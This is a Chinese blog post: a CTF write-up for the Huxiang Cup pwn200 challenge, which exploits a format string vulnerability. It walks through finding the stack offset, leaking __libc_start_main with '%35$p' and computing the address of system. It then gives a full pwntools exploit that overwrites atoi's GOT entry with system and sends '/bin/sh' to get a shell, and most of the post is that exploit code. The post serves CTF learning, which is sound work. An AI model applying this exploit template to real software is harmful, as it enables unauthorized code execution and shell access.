美文网首页
格式化字符串

格式化字符串

作者: 2mpossible | 来源:发表于2017-12-19 00:02 被阅读0次

格式化字符串漏洞网上讲的也很多,这里就不对漏洞进行解释了,直接讲怎么做题,以湖湘杯的pwn200为例子:

拿到题目先checksec,看开了什么保护

可以看到题目只开了Canary和栈不可执行,然后运行题目看看是什么效果

然后拖进ida里面分析

可以看到这里有个格式化字符串漏洞,那么我们下面就来利用它,首先用命令

objdump -d -j .plt pwne

可以看看我们可以利用的函数有什么,然后题目给了libc库,大致思路就是要从libc中找system函数,通过printf打印__libc_start_main函数这个地址,然后根据偏移计算libc的基地址,然后计算出system的实际地址,最后用fmtstr_payload(autofmt.offset, {atoi_got_addr: system_addr})把atio的地址覆盖为system的地址,就可以getshell了

0x1算出所输入格式化字符串相对于栈上的偏移量

  • 暴力一点的话直接用AAAA.%p.%p.%p.%p.%p.%p.%p这样增加或者减少%.p来测试,当最后一个输出是你第一个输入的十六进制时就相当于偏移对了,所以此时的偏移为p的个数即为7
  • 或者我们可以用gdb调试来找到偏移量,首先在printf这里下个断点,然后看到栈上0028的位置就是我们的输入,28/4 = 7 (32位)就是我们print_got的偏移量
  • 想看栈上更多的就输入下面的命令,然后找到0140 / 7 = 35 (32位)是__libc_start_main的偏移量

    stack 50
    
  • 最快捷方便的就是写个脚本自动爆破偏移量,FmtStr是pwn自带的算出offset的函数

    def exec_fmt(payload):
      p.recvuntil('WANT PLAY[Y/N]\n')
      p.sendline('Y')
      p.recvuntil('GET YOUR NAME:\n')
      p.recvuntil('\n')
      p.sendline(payload)
      info = p.recv().splitlines()[1]
      print "info: "+info
      p.sendline('10')
      return info
    
    autofmt = FmtStr(exec_fmt)
    #print autofmt.offset
    

0x2 通过泄漏的__libc_start_main的地址可以获得正确的libc库文件从而确定libc库内地址

从而获取到了__libc_start_main_ret的偏移进而计算基址,获得system地址,

下面是exp

from pwn import *
debug = False
local = True
x86 = True
if debug:
    context.log_level = 'debug'
else:
    context.log_level = 'info'
if x86:
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
    libc = ELF('x86_64-linux-gnu/libc.so.6')
if local:
    p = process('./pwne')
else:
    p = remote('baidu.com',1000)


def base_addr(prog_addr,offset):
    return eval(prog_addr)-offset

def exec_fmt(payload):
  p.recvuntil('WANT PLAY[Y/N]\n')
  p.sendline('Y')
  p.recvuntil('GET YOUR NAME:\n')
  p.recvuntil('\n')
  p.sendline(payload)
  info = p.recv().splitlines()[1]
  print "info: "+info
  p.sendline('10')
  return info

autofmt = FmtStr(exec_fmt)
#print autofmt.offset
p.close()


p = process('./pwne')
elf = ELF('./pwne')
atoi_got = elf.got['atoi']
print "atoi_got: ",hex(atoi_got)
system_offset = libc.symbols['system']
print "system_offset: ",hex(system_offset)
libc_start_offset = libc.symbols['__libc_start_main']
print "libc_start_offset: ",hex(libc_start_offset)

payload1 = "%35$p"
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('GET YOUR NAME:\n\n')
p.sendline(payload1)
libc_start_addr = p.recv().splitlines()[1]
print "libc_start_addr: ",libc_start_addr
libc_module = base_addr(libc_start_addr,0x18637)
system_addr = libc_module + system_offset
print "system_addr: ",hex(system_addr)
p.sendline("11")

payload2 = fmtstr_payload(autofmt.offset,{atoi_got:system_addr})
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('GET YOUR NAME:\n\n')
p.sendline(payload2)
p.recv()
p.sendline('/bin/sh')

p.interactive()

相关文章

  • Python基础(18) - 字符串格式化与模板字符串方法

    字符串格式化的各种方法 格式化字符串的方法 使用%格式化 模板字符串 字符串的format方法 fstring 什...

  • 简单的宏定义(不定期补充)

    控制台输出 RGB色值 格式化字符串 格式化字符串 输出点、坐标、Rect 格式化数字

  • python基础知识(3)

    python字符串 python转义字符 python字符串运算符 python字符串格式化 python格式化操...

  • 字符串

    字符串的转义字符 字符串格式化 字符串格式化使用操作符百分号实现 字符串格式化符号 对字符串的下面这两个部分操作:...

  • python语法入门二

    元组 字符串 格式化 序列 元组tuple:不可变 字符串:不可变 格式化 序列

  • python 01常用数据类型

    字符串 字符串常用方法 字符串格式化

  • 时间处理工具类

    将秒数格式化为字符串 /*** 将秒数格式化为字符串** @param secs 秒 secFull 分or分钟*...

  • C语言学习笔记

    C/C++格式化字符串说明 C++的格式化字符串经常用作格式化数字的输出、字符串合并和转换等等很多场合。 1. 格...

  • lab9

    格式化字符串漏洞,不过是有点蛇皮的格式化字符串,学到了不少新姿势 很明显的格式化字符串,但同时也可以发现,我们的输...

  • 常用方法

    时间类 时间格式化 时间计算 字符串 字符串截取 数字格式化 axios拦截器

网友评论

      本文标题:格式化字符串

      本文链接:https://www.haomeiwen.com/subject/andvwxtx.html